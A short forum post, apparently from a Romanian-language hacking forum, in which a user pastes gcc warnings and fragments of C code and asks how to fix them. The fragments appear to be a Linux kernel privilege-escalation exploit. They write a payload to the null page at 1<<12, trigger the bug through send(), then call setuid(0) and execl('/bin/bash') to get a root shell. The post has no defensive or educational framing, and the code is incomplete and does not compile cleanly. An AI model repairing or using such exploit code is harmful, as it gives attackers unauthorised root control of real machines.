Jump to content
acidlsd

Helping C++ variable

Recommended Posts

Posted

gcc -o2 asd.c

asd.c: In function 'main':

asd.c:59:3: warning: passing argument 1 of 'memcpy' makes pointer from integer without a cast [enabled by default]

/usr/include/string.h:44:14: note: expected 'void * __restrict__' but argument is of type 'int'

asd.c:63:3: warning: missing sentinel in function call [-Wformat]

memcpy(1<<12, &patch_current, 1024);

for (i = 0; i < (1<<17); i++) ((void**)(1<<12)) = &patch_current;

send(f, n, sizeof(n), 0);

setuid(0);

return execl("/bin/bash", "-sh", 0);

asta e codul.. nu stiu ce trebuie sa modific.. daca cineva poate sa ma ajute..

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...